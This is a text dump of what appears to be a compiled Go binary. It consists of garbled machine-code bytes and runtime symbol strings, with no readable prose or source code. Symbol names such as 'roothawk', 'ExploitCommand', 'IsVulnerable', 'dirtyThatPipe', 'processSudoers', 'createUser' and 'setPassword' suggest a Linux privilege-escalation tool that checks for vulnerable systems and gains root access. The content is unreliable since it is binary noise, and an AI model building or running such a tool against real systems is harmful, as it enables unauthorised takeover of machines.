T맰3@CTT7;K@O@/@T%Q7@|œFQ(T ;@i!> !@ !@ `EC/@%ҏe_Q7@|œfXhT ;@C!> ! !@ `EC/@ *!> !@!@ `EC!5BB@= !@C{ `E@`@@7@ :@7:{ aDBB !(bG4,@! ,{ aDBB!0cG44@!4{ aE8bG4<@! <m>@@<@9@@@?_։ j _ @A@ @c0iT#'C@E@_D_@@ @c0T#/C@EAG@2_E_@@ @c0T#/C@EAG@_E_@@ @c0T#/C@EAG@_E_@@ @c0T#/C@EAG@_E_w@@ @c0iT#A@a @w_B_b @c0T#/C@EAG@_E_O@@ @?.Tѝ?#99 BB@9A@ @m!9B@ " _GoB -#Ҕ'?gc(c@9ccXM8[;?@g@cLc>8W7; {!a @#y;@[@( a!xCc9@E=~||5o@G@5{ aD@!Bt G`:@#g#G 7#W@7@#[@;@g#gCgo@G@8{ gDH!!(hG4,@y',{ aDBB!0cG44@m!4{ aE8bG4<@c! << @@!@8 @Wl!"@ " 9A@@?K_H9`6||H6@KOsa!xCc9@E=~$5{ aD@!BL( ~c@:W@7@s@K@O@8{ gDH!!(hG4,@',{ aDBB!0cG44@!4{ aE8bG4<@! <m_B_= @c0 T#`;_t ;&_C_% @C?/TCѝ?#@@ey5_5_5_5_5_5_@_9C _9{ `D!!@g#@{/kD@EDAEDBEGA!d%=~$yB5[ aD !BB c@XA!Cc %=~ y7+IA!x%=~x3'||7@+@53@'@5[ aD !BBh0~&A!Cc %=~xc||5 K5[ aD !BBh0~ck@/@T_X @C?TCѝ?#c9 {>g#@@'S@(TSD@EDAEDBEA!x#c9@%=~x_OOA!%=~{x[KLA!d%=~pxWG#|||_@O@5[@K@5W@G@{5[ aD !bBp #@YZ[\cG9LZ @@?~!!<x%=~A!d1xO!5[ aE !"B9@@eA!#c9@%=~x||15L,5[ aD !BBT:|B^C_#9O@ABC#A9= @?iT#kg c9 ="/7||||Fdg@k@&9@ M N~~ ;3~5r @$fGf5;@ @(@&;@&G 3@/@7@Ogh_T3;5O;@3@7@/@ ѩ *jG4*@+ @*&JJ*&PG _T3;5*;@3@7@/@ ѩ @*jG4*@+ @*&JJ*&cD96_bT@5 7@/@ѧhG4@\())6b&[ eD& !(fG4,@L%,[ aD"B!0cG44@@!4[ aE8bG4<@6! <*_L__L_c9c@ABCDcA9 @C?iTCѝ?#9#pD@PDpDAPDpDBPD7@@B5@  Y!  "C_!!x#c9@%Х=~vC7L!!%Х=~v?3H!!d%Х=~v;/#|||C@7@5?@3@5;@/@5[ aD !BB5c#@s@G@Z[\]G9 @?C_c9@ABCDcA9d @C? TCѝ?#_|_|_|_|_|_|K {>b@@@K@ m TcPD@pDPDApDPDBpDIv@?TK@h6@@ Lj@?`TK@Z@7M^@?TK@P7@J@A@T@J@?TK@<7@cE@EEAEEBECDEF'G/H@C_}}}}}}@#@/@7@?@G@C_cE@EEAEEBECDEF'G/H@C_@a @c0IT# p _B_ @ @c0T#3/ X#/@! @3@B#@!! ?7`&@  Xa!&@  "_E_/@@3@!! B#@?_E_@_vcfFpRuNmwsirbxCntgaymXYosmuX0X1InX2OpFdfdg0idsppcfnX3inIsroDoOrtxiot1t2a1a2lohilrfpbpvpvutsgpmpV0V1V2V3V4V5V6V7V8V9PCrgwgrtrdwtwdkptittX4CcpdHiLolkreq0q1siopnbh1h2hlhdRunbufErrkeyvalerrTypStrSetGetArgIntVarsetInsKeyLenOutptrarrfmtmsgpadwidargsysSysOldNewpfdtypDirEnvPidpidtlsmOSoutctxaddendCaplogAllPutpinAddAndAbsgetDaySubUTCsecextlocoffTagSeqretrawbssbadcaspcslennowrunseqV10V11V12V13V14V15V16V17V18V19V20V21V22V23V24V25V26V27V28V29V30V31sigsubmaxminpopobjcapputgcwposPinhasmidstrNumSecCurMaxDevInoUidGidrfdwfdDupFunR16R32tapvecsrcs64preMinlnslfsSummainNameLoadSwapnbufbufpDoneelemctrldonestoponceMaskHashTypeflagArgsBoolFuncInitNArgUintnameargsiterBitsElemKindOutsSizetyp_flagReaderrsfreeFlagfmtCfmtQfmtSinitpluszeroprecsyncnextprevsizemodeModefileSeekStatSyncreadseekrefsrootinfoInfo FilefileKillWaitkillwaitLockcurgoldpncgoparkselfheaplinkheadfillPathargvtextaddrGrowgrow TypekinddatapackvalstailnodeswapdeadseedfindsemalocktimewhenzoneDateHourUnixYearZonemononsecwallStopbytebaseNextAddrCallRecvSendSeq2callrecvsendiregfregftyprcvrdumpabidData*intpcsppclnpad1pad2nfnsftabebssptabctxtgoidgopclesstakerandlastregsbitpdifflistmasktinyscavpushnodenobjringslotget1get2fulloldmrunqrankFileLinecodelinewakebitsrrunwrunuserrseqwseqhashdepsPermNanoNsecUsecBaseCodeRdevAtimMtimCtimCttyPgidfdmuPeekMoffDumpIntsPtrsSeedfeedIntnwant InstInstexprprogcondinststeppooljobsCopyFindRowsColsCoreLessFeatdictusedUsedseenExprRuneSub0signsorthistrBuffreqShellStoreValueslotscausetimerErrorSize_TFlagKind_EqualBytesInterUsageInt64NFlagParseVisitfailfusageundefAlignFieldNumInWidthwritelimitWritefmtBsfmtBxfmtQcfmtSxminussharpspaceplusVvalueIsDircloseChdirChmodChownClosechmodpreadstatesigMuvalidnextplocksdyingincgotraceStdinStartstartResettitlebytesIsNilcheckentryemptyClearRangelocalRLockHoursRoundsplitisDSTindexisstdisutcAfterClockIsDSTLocalMonthIndexFloatSlicerunesptrTostepsiregsfregsspillstack*int8*uint*boolretpcEntrymagicminLCnfuncvaddrcutabpctabminpcmaxpcetextedatagcbsstypesdatap_Func_functotalhchanresetfirstsendxrecvxrecvqsendqschedparamsigpcxRegsbytepequalclassflushallocclearinUsestorecacheunpinsweptstampdrainstealchainwbuf1wbuf2spanqstatsgFreewbBufvalPCUnpinunionmergetimersleepfdseqreadyreuseStackflagsio/fsFlagsUtimeStimeIxrssIdrssIsrssNswapNvcswNlinkPidFDIflagOflagCflagLflagrsemawsemaSysfdcsemaFstatFsyncPreadevictInt63Int31matchmpooldenseatEOTMatchSplitFlushinputFatalPanicPrintoutMugroupcloneClonequietdedupbufioRune0statelinkswrPosrdPosfinalcodesSum32 StringcancelAlign_GCData@ IntVarLookupOutputParsedUint64parsedactualformaloutputCanSeqFieldsMethodNumOut readerUnwrapfmtSbxsharpVintbufFormatK `[ T ReadAtpwritecloseddecrefincrefparentSignalhandlestatusrusageExitedexitedsignalPollFDresultUnlockdivmodprocidvdsoSPvdsoPC  @ о п prefixsuffixStderrStdoutCancelrecentbisect"#$`%w %lookup sPrintfAssess4errorscommonCommonCanSetunpacksharedinitedinitMuDeleteexpandnoCopyvictimdoSlowT U U PV V V PW X X `X X X @Y Y Z Z [ - @- `- - formatoffsetextendBeforeIsZeroMinuteSecondabsSecaddSeclocabssetLoc P OffsetmustBeCanIntSetCapSetIntSetLenSlice3stkOffappendaddArgargLenmethod *error*uint8*int16*int32*int64*[]intunsafegoexitopaquepcfilefuncIDnfilesptrbitgcdataetypesrodatagofunctimerswaiteractiveadjustsiftUpunlockverifyastateisChanisFakeperiodmodifytrace1qcountbubbleticket_panic_defersecretlabelsinsertremovenoscannpagesnelemsdivMulinListisFreelayoutrefillchunksallocNputObjdeinitptrBuflfnodemcachepcachepalloccycleslenPosvarintpinnersignedcountsinHeapgTotalgNonGoensurescalarreasonfileIDparkednextPCframesstring @  `  0     `   0 p     @   `    P `  `! ! FamilyGroupsHostIDMaxrssMinfltMajfltMsgsndMsgrcvNivcswBlocksChrootPtraceSetsidNocttyIspeedOspeedrwlockiovecsisFileAcceptFchdirFchmodFchownPwriteWritev# HasTagMcountXcountFloats0pStrideInt31nInt63nUint32int31n1 2P2^regexpop,ONumCapsparseinputsExpanddigestFatalfPanicfPrefixWriter groupsrehashdirPtrdirLen`&Enable ##&&OpaqueInit64RefillReseed`enablepw MaxCapconcatfactorrepeatnumCapheightMtoReadcontext Context*func()TimeoutPkgPathMethodsBoolVarFloat64TextVarUintVarsprintfCanSeq2ChanDirreflectconsume*fmt.ppbadVerbdoPrintfmt0x64fmtBoolmodTimeModTimedirinfoReadDirReaddirWriteAtWriteToreaddirwrapErrwriteToSyscallControlacquirereleasecleanupSuccesssuccessReleasepidWaitNetworkTryLockruntimemorebufgsignalsigmaskblockedisextraalllinklockedgchacha8os/execskippedsysMProcessEnvironenvironrunningstringsExploitCommandGcSliceHasNameMapTypenameOfftypeOffIsValidpointerpopHeadpopTailprivateisEntrykeyHashgetSlowpinSlowRLockerRUnlockMinutesSecondsAddDateCompareISOWeekWeekdayYearDaysetMonounixSecCanAddrCanUintComplexConvertMapKeysPointerSetBoolSetUintSetZeroTryRecvTrySendabiTypetextOffaddRcvr PtrTyperegPtrs*[1]int*string*uint16*uint32*uint64*[]uintstartPCstartSPnpcdataptrSizefuncofffiletabcovctrshasmaintypemapsrcFuncuintptrzombiesraceCtxwaitingaddHeapdequeueenqueuesortkeywaitersnextSeqpreemptlockedmstartpcracectxcgoCtxtcoroargisEmptytakeAllobjBasepushAllinSweeppushcntbalancedisposeallnodedestroyputFastdiscardscratchrunnextwritingentriesbucketscomputethreadsensuredgcStatsclosingstackIDmakeArgcallersstrconvsyscallStoppedInblockOublockX__pad1BlksizeX__pad2SetpgidSetctty SysFileRawReadReadMsgpreparesettingInCountIsBlankInSliceunicodeseedPosreadValreadPosFloat32Shuffleos/userHomeDironepasslongestmatchedvisitedFindAllLongestdoMatchFeatureFatallnPaniclnPrintlnPutSlotPackageChangedverboseDiscardreadErrskipNopliteralrepeatstermiosroffsetcopyLenhuffSym*[]uint8go.shapeDeadlinechildrendeadlineemptyCtxPtrBytesDefValueBoolFuncDurationInt64VarVisitAllparseOneNumField*[]errorReadRune*fmt.fmtfmtFloattruncatefmtFlagserroringwrapErrsdoPrintffmtBytesprintArgGoString*os.File*os.filenonblockReadFromTruncatereadFromExitCodeSysUsageUserTimesysUsageuserTimemstartfnthrowingspinningfreeWaitncgocallidleNodewaitlockfreelinklibcallgdlogPerMwatchCtxfirstErrReadByteprevRunecontainspageSizeSilencedsilencedAllUsersUserNameAllHostsHostnameNoPasswdDistroIDuncommonFuncTypePointersUncommon*[]int32*[]int64assignTopushHeadheadTailoverflowindirectvalEqualinitSlowTryRLockcacheEndLocationUnixNanoappendToCanFloatMapIndexMapRangeSetBytesSetFloatsetRunestypeSlow*uintptr*float32*float64slotsPtrentryOffcuOffsetfuncInfoFileLineentryoffbaseaddrbytedatapcHeadernoptrbssecovctrsepclntabfuncNametextAddrraceaddrinitHeapsiftDownwakeTimesendLockmaybeAddneedsAdddataqsizelemsizeelemtypeisSelectwaitlinkwaittailstktopspcoroexittrackingwritebufsigcode0sigcode1guintptrsubtractlessThansweepgenneedzerospecialsheapBitsobjIndexflushGennextFreescavengerefStoremaySweepspanBasetryDraincleanupsrunqheadrunqtailsudogbufstatsSeqwaitTimedisabledlastTimevarintAtentryGentargetpcwaitsemalockAddrFunctionreleasedinStacksmSpanSysotherSysheapGoalIdleTimecpuStatsheapScangRunninggWaitinggCreatedsysStatscpuStatsconcreteasserteddispatchcallingGcapacityfileLinesockaddrCoreDumpSignaledNsignalsCgroupFDrwunlock*poll.FDIsStreamRawWriteShutdownWriteMsgeofErrorreadLockpollablewaitReadlastReadregisterOutCountOutSliceUsernameGroupIdsmatchcapnewBytesmetadatasegmentsoriginalLessThanMetadataOriginalSegmentsreceivedSetFlagslockSlowclearSeq*sys.nihBufferedlastByteReadLinewriteBufCapNamesSimplifycapNamescalcSizecollapseparseInttmpClassnumRuneslinkMask*[19]inthistSizecodebitscopyDistcopyDatamoreBitsbitCountgenerate cancelCtx Temporary AfterFunc PtrToThis SetOutput StringVar Uint64Var NumMethod *[4]uint8 writeByte writeRune Precision padString reordered panicking argNumber badArgNum doPrintln fmtString noWriteTo StoreNoWB doRelease pidSignal pidStatus pidfdWait caughtsig mallocing profilehz printlock traceback schedlink lockedExt lockedInt mWaitList profStack libcallpc libcallsp cheaprand locksHeld rangefunc suffixOff *exec.Cmd WaitDelay goroutine ctxResult StdinPipe WriteByte WriteRune copyCheck *[1]uint8 WithTitle ArrayType *[]string writerSem readerSem localSize cacheZone GobDecode GobEncode UnixMicro UnixMilli stripMono initTimer *chan int Anonymous CallSlice Interface SetString bytesSlow regAssign retOffset stackPtrs inRegPtrs framePool *[]uint32 *[]uint64 recovered gopanicFP NotInHeap startLine nfuncdata isInlined pclntable noptrdata enoptrbss typelinks itablinks pkghashes inittasks gcbssmask nextDefer nextFrame decActive incActive cleanHead deleteMin isSending syscallsp syscallpc syscallbp stackLock waitsince ditWanted ancestors sleepWhen schedtick schedwhen sizeclass lessEqual startAddr freeindex allocBits spanclass largeType scanAlloc reclaimed tryGetObj deferpool goidcache storeSlow haveStack available reentered committed largeFree inObjects stacksSys mCacheSys gcMiscSys TotalTime stackScan totalScan gRunnable heapStats sleepStub IsRegular Continued TrapCause *[2]int32 Pdeathsig Ftruncate WaitWrite WriteOnce writeLock waitWrite Available ReadBytes readSlice *abi.Kind *abi.Type *abi.Name *abi.ITab math/rand os/signal MatchRune numSubexp prefixEnd newReader newString hasPrefix FindIndex NumSubexp backtrack doExecute doOnePass SetPrefix isDiscard *maps.Map Specified Immutable seenLossy ReadSlice StartCond alternate checkSize newRegexp numRegexp *[316]int availRead readFlush writeCopy writeMark stepState dataBlock nextBlock freqcache bitCounts bitLength BlockSize *struct {} IsBoolFlag *flag.Flag Float64Var Comparable FieldAlign Implements IsVariadic UnreadRune *fmt.State clearflags fmtBoolean fmtInteger fmtUnicode widPresent *[68]uint8 goodArgNum catchPanic fmtComplex fmtPointer missingArg printValue *[16]uint8 appendMode checkValid noReadFrom *os.Signal SystemTime systemTime WithHandle withHandle goSigStack preemptoff isExtraInC needextram cgoCallers ditEnabled winsyscall preemptGen *[1]stringexitedM ExtraFiles StderrPipe StdoutPipe childStdin *[4]uint64 UnreadByte createUser *[14]uint8 *[]*string BinaryName StructType readerWait *[96]uint8 *sync.Pool victimSize *sync.Once *time.zone *time.Time cacheStart lookupName AppendText Nanosecond ZoneBounds *[64]uint8 *io.Writer *io.Reader *io.Closer IsExported CanComplex CanConvert SetComplex SetIterKey SetPointer UnsafeAddr assignIntN valueStart stackBytes outRegPtrs *[][]int32 *[]uintptr *complex64 *[]float64 *runtime.m *runtime.g repanicked pclnOffset modulename enoptrdata pluginpath gcdatamask isChanWait isSyncWait updateHeap *[2]uint64 waitreason gcscandone throwsplit raceignore parentGoid selectDone *runtime.p insertBack allocCache gcmarkBits pinnerBits allocCount countAlloc nextSample tinyoffset tinyAllocs stackcache allocLarge releaseAll mSyscallID putObjFast tryGetSpan workbufhdr checkempty chainEmpty tryGetFast sysmontick sudogcache mspancache gcStopTime startTicks cyclesLost stringData difference inWorkBufs largeAlloc numObjects totalFreed totalFrees mSpanInUse accumulate GCIdleTime finalStats schedStats atomicInfo _interface sysmonWake sleepRatio shouldStop gomaxprocs *chan bool *[3]uint32 frameStore ExitStatus StopSignal Credential Foreground Cloneflags *[19]uint8 isBlocking RawControl ReadDirent readUnlock runtimeCtx ReadString nonDefault *abi.TFlag IsEmbedded ReadVarint *rand.Rand ExpFloat64 *user.User prefixRune FindString ReplaceAll allMatches replaceAll *[1]uint32 Prerelease Segments64 unlockSlow lengthMask growthLeft localDepth getWithKey tombstones clearSmall MarkerOnly *[50]uint8 *syntax.Op calcHeight parseClass availWrite writeSlice makeReader *[17]int32 sync/atomic FieldAlign_ *flag.Value DurationVar *func() int FieldByName OverflowInt *[2]uintptr *[4]uintptr *[5]uintptr *fmt.buffer writeString precPresent wrappedErrs WriteString unknownType *[1]uintptr poolDequeue *os.dirInfo stdoutOrErr SetDeadline SyscallConn setDeadline *os.rawConn closeHandle *[]*os.File *os.Process *[6]uintptr newSigstack createstack waitunlockf syscalltick *exec.ErrorsuccessM SysProcAttr lookPathErr startCalled childStderr childStdout *chan error setPassword writeToFile *[0]*string AllCommands HasPassword SudoEntries *sync.Mutex readerCount *sync.eface LoadOrStore rUnlockSlow Nanoseconds MarshalJSON MarshalText *time.Timer *io.discard panicNotMap SetMapIndex abiTypeSlow capNonSlice extendSlice lenNonSlice stackAssign *complex128 deferreturn pctabOffset runtimehash funcnametab findfunctab textsectmap isMutexWait minWhenHeap acquiretime releasetime stackguard0 stackguard1 preemptStop trackingSeq syscallwhen speciallock ensureSwept memProfRate putObjBatch bytesMarked flushedWork raceprocctx pinnerCache *[480]uint8 *[216]uint8 *[68]uint64 totalAllocs mCacheInUse buckHashSys GCPauseTime GCTotalTime globalsScan publishInfo setEventErr *[16]uint64 slotsOffset errIntegral errOverflow *[1][]int32 ContainerID NoSetGroups UidMappings GidMappings AmbientCaps UseCgroupFD SetBlocking writeUnlock prepareRead DataChecked ReturnIsPtr *abi.FuncID LatinOffset *[607]int64 NormFloat64 subexpNames prefixBytes minInputLen *regexp.job shouldVisit MatchReader MatchString SubexpIndex SubexpNames GreaterThan *log.Logger *maps.table deleteSmall directoryAt growToSmall growToTable globalDepth globalShift *cpu.option LoadAcquire *[32]uint64 ShouldPrint matchResult appendGroup checkHeight checkLimits maybeConcat parseEscape parseRepeat wholeRegexp *term.State *term.state *[][]uint32 finishBlock readHuffman IsVulnerable *[16]uintptr *func() bool defaultUsage AssignableTo FieldByIndex MethodByName OverflowUint writePadding *os.fileStat Readdirnames spliceToFile *[32]uintptr signalSecret isExtraInSig allpSnapshot mLockProfile pcvalueCache locksHeldLen ProcessStatesysUsageMuserTimeM *[]io.Closer ProcessState childIOFiles goroutineErr *[][4]uint64 *state.State IsDebianLike *[]*abi.Type *sync.noCopy *atomic.Bool *func(int64) Microseconds Milliseconds *[]time.zone AppendBinary AppendFormat appendFormat *io.WriterTo CanInterface SetIterValue panicNotBool assignFloatN makeFuncCtxt RuntimeError deferBitsPtr *[]*abi.ITab linktimehash modulehashes setTraceable maybeRunChan unlockAndRun dequeueSudoG readyNextGen statusTraced atomicstatus paniconfault inMarkAssist runnableTime takeFromBack initHeapBits tryStealSpan heapScanWork deferpoolbuf goidcacheend gcAssistTime limiterEvent captureStack recordUnlock *runtime.mOS profileTimer snapshotAllp gcCyclesDone GCAssistTime *chan uint32 *fs.FileInfo *fs.FileMode *fs.DirEntry Unshareflags *poll.String ReadMsgInet4 ReadMsgInet6 WriteToInet4 WriteToInet6 prepareWrite waitCanceled Undocumented internal/abi *abi.NameOff *abi.TypeOff *abi.Imethod *abi.PtrType *abi.RegArgs *rand.Source MatchRunePos ExpandString FindAllIndex FindSubmatch tryBacktrack *pty.Winsize *zlib.reader decompressor encoding/hex directorySet putSlotSmall replaceTable internal/cpu StoreRelease ShouldEnable *bisect.cond lastRuneSize *syntax.Inst *syntax.Prog *[512]uint32 tryWriteCopy huffmanBlock *flate.hcode *hash.Hash32 hash/adler32 *func() error *[]*flag.Flag *flag.FlagSet ErrorHandling PrintDefaults errorHandling ConvertibleTo OverflowFloat *func() int32 *fmt.fmtFlags handleMethods *fmt.Stringer *func() int64 *os.LinkError copyFileRange *os.noWriteTo *[]*runtime.p cgoCallersUse waitTraceSkip signalPending *<-chan error parentIOPipes *strings.span dirtyThatPipe processDistro DistroVersion KernelVersion InterfaceType IsDirectIface *[]sync.eface internal/sync loadAndDelete LoadAndDelete *sync.RWMutex *atomic.Value *atomic.Int32 *atomic.Int64 firstZoneUsed MarshalBinary UnmarshalJSON UnmarshalText *reflect.Type *reflect.Kind *reflect.flag InterfaceData UnsafePointer stepsForValue *interface {} *runtime.Func filetabOffset changegstatus maybeRunAsync *runtime.coro acquireStatus preemptShrink parkingOnChan nocgocallback trackingStamp fipsIndicator syncSafePoint gcAssistBytes takeFromFront decPinCounter getPinnerBits incPinCounter newPinnerBits nextFreeIndex pinnerBitSize reportZombies setPinnerBits tryGetObjFast *[253]uintptr checknonempty mayNeedWorker *[512]uintptr scannedStacks *runtime.note *[65504]uint8 varintReserve oldthrowsplit hasCgoOnStack missingMethod inputOverflow IncNonDefault *fs.PathError *syscall.Conn internal/poll *poll.fdMutex *poll.SysFile ZeroReadIsEOF GetsockoptInt ReadFromInet4 ReadFromInet6 SetsockoptInt WriteMsgInet4 WriteMsgInet6 readWriteLock *bytes.readOp *bytes.Buffer *bytes.Reader *abi.FuncType IntRegArgAddr *abi.FuncFlag *regexp.input regexp/syntax *regexp.queue *regexp.entry *[]regexp.job FindAllString LiteralPrefix WaitForString *unix.Termios compress/zlib getWithoutKey maxGrowthLeft *[]cpu.option *atomic.Uint8 *bisect.dedup *bufio.Reader *syntax.Error *syntax.Flags leadingRegexp leadingString *flate.Reader *flate.byFreq*[]*os.dirInfoCompareAndSwap0)0) *func() string0)0)0*flag.intValue*flag.boolFlag0)X0)(*fmt.wrapErrortruncateString*fmt.Formatter0) 0)D0)*os.errSymlink*os.unixDirent*os.noReadFrom*func(uintptr)0)0)0) systemTimeMcreatedByStackCombinedOutput0)0)installPackage0)*logger.LoggerprocessSudoers*state.SudoersmustBeExportedcompareAndSwap0)`0)0)*atomic.noCopy*atomic.Uint32*func() uint32*atomic.Uint64*func() uint64*time.Duration*time.Location0)@*io.ReadCloser*io.ReaderFrom*io.RuneReader*reflect.Value*reflect.rtype*reflect.visit0)8*runtime.stack*runtime._funcfuncnameOffset*runtime.gobuf*runtime.sudogsetUntraceable*runtime.hchan*runtime.timer*runtime.mutexlockRankStruct*runtime.waitq*runtime.xRegsasyncSafePointfipsOnlyBypass*runtime.mspanmanualFreeListinlineMarkBitstypePointersOfreusableNoscan*runtime.gListflushScanStatstryGetSpanFastputsSinceDrain*[1024]uintptr*runtime.wbBufrunSafePointFncleanupsQueuedtraceBufHeaderbecomeSpinning*runtime.FrametinyAllocCountlargeFreeCountsmallFreeCountheapStatsDeltatotalAllocatedgcCyclesForcedScavengeBgTime0)h0) 0)@0)0) 0)0) 0) 0)0)0)0)0)0)0)0)0)0)0) 0),*syscall.Errno*syscall.Iovec0)0)increfAndClose*poll.pollDescSetsockoptByte*go.shape.bool*strconv.Error*godebug.valuenonDefaultOnce*[]abi.Imethod*rand.Source640)0)*regexp.RegexpmaxBitStateLenprefixComplete*regexp.thread*regexp.inputscanCheckPrefixReplaceAllFunc*unix.Sockaddr*unix._Socklen*sync.hashFuncdirectoryIndex*sys.NotInHeap*godebugs.Info*bisect.Writer*[]bisect.cond0)2*syntax.ranges*syntax.InstOp*[]syntax.Inst*syntax.Regexp*syntax.parserparseClassCharparsePerlFlagscompress/flate*[]flate.hcode0) 0)*[0]*os.dirInfopropagateCancel*chan struct {}*flag.uintValue*flag.boolValue*func() uintptrFieldByNameFuncOverflowComplex*fmt.wrapErrors*func() []error*func(int) bool*fmt.GoStringerSetReadDeadlinesetReadDeadlinepidfdSendSignalg0StackAccurate*exec.ExitError*[]func() error*exec.ctxResultawaitGoroutines*[128][4]uint64internal/bisect*strings.Reader*chan os.SignaltimeDbusCommandHostnameMatchesExportedMethodsexportedMethods*func(int, int)*sync.poolLocal*sync.poolChainlookupWithValue*atomic.align64*atomic.Uintptr*time.zoneTrans*chan time.TimelookupFirstZoneUnmarshalBinary*reflect.MethodFieldByIndexErrstringNonString*reflect.abiSeq*map[string]int*unsafe.Pointer*runtime._defer*runtime._panic*runtime.timersminWhenModifiedmaybeWakeLockedsetStatusTracedstatusWasTracedrunningCleanupsvalgrindStackIDinternalBlockedisMaybeRunnable*runtime.sigset*runtime.mcache*runtime.gcBitsmarkBitsForBasemoveInlineMarksprepareForSweep*runtime.pinner*runtime.lfnode*runtime.gcWork*runtime.objptrvgetrandomState*runtime.PinnerlargeAllocCountsmallAllocCountGCDedicatedTimedeferBitsOffsetsleepController*runtime.Frames*syscall.Signal*syscall._Gid_t*syscall.Rlimit*syscall.Rusage*syscall.Stat_treadWriteUnlockAvailableBuffer*rand.rngSource*signal.handlerMatchEmptyWidth*regexp.machine*[]regexp.entryFindAllSubmatchFindReaderIndexFindStringIndexLessThanOrEqual*sync.equalFunccheckInvariantspruneTombstonesgetWithKeySmall*[10]cpu.option*bisect.Matcher*syntax.EmptyOpparseNamedClassparseRightParenswapVerticalBar*sort.Interface*flate.Resetter*adler32.digest*context.Context*context.todoCtx*context.stopCtx*flag.int64ValueSetWriteDeadlinesetWriteDeadline*os.SyscallError*os.ProcessState*func() *poll.FD*[]syscall.IovecwriterDescriptor*[]*bisect.dedup*func(*exec.Cmd)*map[string]bool*map[uint64]boolinternal/godebug*strings.Builder*state.SudoEntry*func() abi.KindmustBeAssignable*sync.dequeueNilcompareAndDeleteCompareAndDelete*io.StringWriter*reflect.ChanDir*reflect.abiStep*reflect.abiDesc*reflect.ptrType*runtime.functabisIdleInSynctest*[]atomic.Uint32activeStackChans*runtime.special*runtime.offAddrfreeIndexForScanisUserArenaChunkdivideByElemSizemarkBitsForIndexrefillAllocCache*runtime.workbuf*runtime.funcvalgcMarkWorkerModenextGCMarkWorkerscannedStackSize*runtime.mPaddedfinalizersQueuedcleanupsExecutedcontrollerFailed*runtime.Cleanup*[]runtime.Frameinternal/fmtsort*syscall.Timeval*syscall.RawConn*poll.splicePipesplicePipeFieldsSetsockoptIPMreqSetsockoptLingerinternal/strconvtryGrowByReslice*godebug.setting*godebug.Setting*unicode.Range16*unicode.Range32*regexp.lazyFlag*regexp.bitStateReplaceAllString*version.VersionuncheckedPutSlotcollectFragmentsparseVerticalBar*flate.byLiteral*<-chan struct {}*context.valueCtx*context.canceler*context.timerCtx*context.emptyCtx*context.stringer*flag.stringValue*flag.uint64Value*func(int64) bool*func() *abi.Type*func() time.Time*os.processHandle*[0]*bisect.dedup*[]*godebug.value*chan<- os.SignalisVulnerableOtherGetEntryForBinary*func(error) bool*reflectlite.Type*[]unsafe.Pointer*sync.poolDequeuepoolLocalInternal*[]time.zoneTrans*<-chan time.Time*io.LimitedReaderstackCallArgsSize*runtime.funcInfo*runtime.pcHeader*runtime.textsect*runtime.initTask*runtime.guintptr*runtime.muintptrupdateMinWhenHeapmaybeTraceablePtr*runtime.xRegPerG*[3]atomic.Uint32goroutineProfiled*runtime.puintptrallocBitsForIndexrefreshPinnerBitsuserArenaNextFree*[]*runtime.mspanaddReusableNoscanhasReusableNoscan*[]*runtime.sudogspansDenseScannedsparseObjsScanned*runtime.spanSPMC*[]runtime.objptr*runtime.xRegPerPmaxStackScanDeltagoroutinesCreated*runtime.traceBuf*runtime.dlogPerMprofileTimerValid*runtime.lockRankclearAllpSnapshot*runtime.cpuStatsScavengeTotalTimefloat64HistOrInit*runtime.stringer*runtime.pollDesctargetCPUFraction*[2]runtime.Frame*strconv.NumError*fmtsort.KeyValue*syscall.TimespecX__glibc_reservedSetsockoptIPMreqn*abi.UncommonType*abi.PCLnTabMagic*[]*regexp.threadFindSubmatchIndexReplaceAllLiteral*version.operator*payloads.Payloadroothawk/pkg/pipe*unix.SockaddrALG*map[string]uint8*map[uint8]stringinstallTableSplittombstonePossibleinternal/godebugs*syntax.ErrorCode*[]*syntax.Regexp*syntax.charGroupparseUnicodeClassgolang.org/x/term*context.cancelCtx*flag.float64Value*map[string]string*func(string) bool*func(uint64) bool**os.processHandleCompareAndSwapNoWBblockUntilWaitable*exec.wrappedError*[0]*godebug.valueisVulnerableDebianroothawk/pkg/stateIsPackageInstalled*reflectlite.rtype*sync.poolChainElt*func(int64) int64*reflect.StructTagmustBeExportedSlow*reflect.bitVector*reflect.layoutKey*[]reflect.abiStep*[1]unsafe.Pointer*[]runtime.functab*runtime.ptabEntry*runtime.bitvector*runtime.timerWhen*runtime.xRegState*runtime.mSpanList*runtime.gclinkptr*runtime.spanClass*runtime.addrRangeremoveGreaterEqualuserArenaChunkFreeinitInlineMarkBitstypePointersOfTypewriteHeapBitsSmallnextReusableNoScan*runtime.pageCache*[]*runtime._defer*[5]unsafe.Pointer*runtime.notInHeapspansSparseScanned*runtime.spanQueue*runtime.cleanupFncleanupBlockHeader*runtime.throwType*runtime.mWaitList*runtime.traceTimegcBgMarkWorkerNodeScavengeAssistTimefinalizersExecuted*runtime.timeTimer*runtime.untracedGcontrollerCooldown*runtime._typePairSetsockoptIPv6Mreq*abi.InterfaceType*[]unicode.Range16*[]unicode.Range32*rand.lockedSource*regexp.inputBytesFindAllStringIndexFindStringSubmatchGreaterThanOrEqual*pipe.LockablePipeputSlotSmallFast32putSlotSmallFast64*chacha8rand.State*bisect.parseError*[1]*syntax.Regexp*flate.dictDecoder*flate.literalNode*func(string) error*flag.durationValue*flag.ErrorHandling*func(float64) bool*func() (int, bool)*func() fs.FileMode*func(uintptr) bool*func() poll.String*func(func() error)roothawk/pkg/logger*errors.errorString*time.fileSizeErrorappendFormatRFC3339appendStrictRFC3339*reflect.layoutType*reflect.ValueError*runtime.plainError*runtime.moduledata*[]runtime.textsect*runtime.modulehashinitOpenCodedDefers*runtime.waitReason*runtime.sysmontickscannedBitsForIndex*[]runtime.guintptr*runtime.workbufhdr*runtime.cgoCallers*runtime.winlibcall*runtime.statDepSet*runtime.metricKind*runtime.traceFrame*runtime.metricData*[]fmtsort.KeyValue*syscall.WaitStatus*syscall.Credential*poll.errNetClosingSetsockoptInet4Addr*[16]unsafe.Pointer*unicode.RangeTable*rand.runtimeSource*regexp.onePassProg*regexp.onePassInst*regexp.inputString*regexp.inputReaderputSlotSmallFastPtrputSlotSmallFastStr*cgroup.stringErrorremoveLeadingRegexpremoveLeadingString*flate.decompressor*context.afterFuncer*func() interface {}*func() reflect.Type*func() reflect.KindwaitTraceBlockReasoncachedLookExtensions*chan 